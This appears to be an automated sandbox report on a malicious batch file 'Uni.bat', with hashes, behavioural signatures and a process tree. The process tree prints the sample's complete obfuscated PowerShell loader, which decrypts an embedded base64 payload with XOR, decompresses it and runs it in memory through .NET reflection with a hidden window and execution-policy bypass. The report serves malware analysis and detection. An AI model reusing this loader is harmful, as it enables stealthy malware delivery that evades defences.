Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240419-en -
resource tags
arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system -
submitted
08-05-2024 17:07
Static task
static1
Behavioral task
behavioral1
Sample
Uni.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Uni.bat
Resource
win7-20240419-en
Behavioral task
behavioral3
Sample
Uni.bat
Resource
win10v2004-20240508-en
General
-
Target
Uni.bat
-
Size
303KB
-
MD5
12721198b3fa1b9839df22c9297e663f
-
SHA1
2f8d976de00df2fdfda36441d019545659686d88
-
SHA256
0ad330a4fbc8885fcfe1f2eebf36a408738672b98a03baff58ffc475d314f31f
-
SHA512
613d63deead400ba450577335589d14f428ed59a7910f8d28f869117abed912cfaeac32a50ed5a7d518a884623eb88b23dc3784dd42062a40597b62f9fb3bdbd
-
SSDEEP
6144:ErUy5osDY/LW3as3lsvN1yq9OJO7UBlaOjQS7GVhwl:25op6jlsv6JO7UBAOjOhg
Malware Config
Signatures
-
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2412 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
Uni.bat.exepid process 2568 Uni.bat.exe -
Loads dropped DLL 1 IoCs
Processes:
cmd.exepid process 2412 cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Uni.bat.exepid process 2568 Uni.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Uni.bat.exedescription pid process Token: SeDebugPrivilege 2568 Uni.bat.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
cmd.exenet.exedescription pid process target process PID 2412 wrote to memory of 2860 2412 cmd.exe net.exe PID 2412 wrote to memory of 2860 2412 cmd.exe net.exe PID 2412 wrote to memory of 2860 2412 cmd.exe net.exe PID 2860 wrote to memory of 2340 2860 net.exe net1.exe PID 2860 wrote to memory of 2340 2860 net.exe net1.exe PID 2860 wrote to memory of 2340 2860 net.exe net1.exe PID 2412 wrote to memory of 2568 2412 cmd.exe Uni.bat.exe PID 2412 wrote to memory of 2568 2412 cmd.exe Uni.bat.exe PID 2412 wrote to memory of 2568 2412 cmd.exe Uni.bat.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"1⤵
- Deletes itself
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵
-
C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $tYnix = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($sLmXX in $tYnix) { if ($sLmXX.StartsWith(':: ')) { $nQoag = $sLmXX.Substring(3); break; }; };$cbQex = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($nQoag);$NZXTV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('llI7MHEN3rnuJm+OhoiaRW5vgXl8RYhNtONXY+rZGh8=');for ($i = 0; $i -le $cbQex.Length - 1; $i++) { $cbQex[$i] = ($cbQex[$i] -bxor $NZXTV[$i % $NZXTV.Length]); };$zvcRZ = New-Object System.IO.MemoryStream(, $cbQex);$TKVJF = New-Object System.IO.MemoryStream;$mgcdB = New-Object System.IO.Compression.GZipStream($zvcRZ, [IO.Compression.CompressionMode]::Decompress);$mgcdB.CopyTo($TKVJF);$mgcdB.Dispose();$zvcRZ.Dispose();$TKVJF.Dispose();$cbQex = $TKVJF.ToArray();$uvFwM = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($cbQex);$lEPTc = $uvFwM.EntryPoint;$lEPTc.Invoke($null, (, [string[]] ('')))2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
\Users\Admin\AppData\Local\Temp\Uni.bat.exeFilesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
-
memory/2568-5-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmpFilesize
4KB
-
memory/2568-6-0x000000001B3E0000-0x000000001B6C2000-memory.dmpFilesize
2.9MB
-
memory/2568-7-0x0000000001EF0000-0x0000000001EF8000-memory.dmpFilesize
32KB
-
memory/2568-8-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmpFilesize
9.6MB
-
memory/2568-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmpFilesize
9.6MB
-
memory/2568-9-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmpFilesize
9.6MB
-
memory/2568-11-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmpFilesize
9.6MB
-
memory/2568-12-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmpFilesize
9.6MB
-
memory/2568-13-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmpFilesize
9.6MB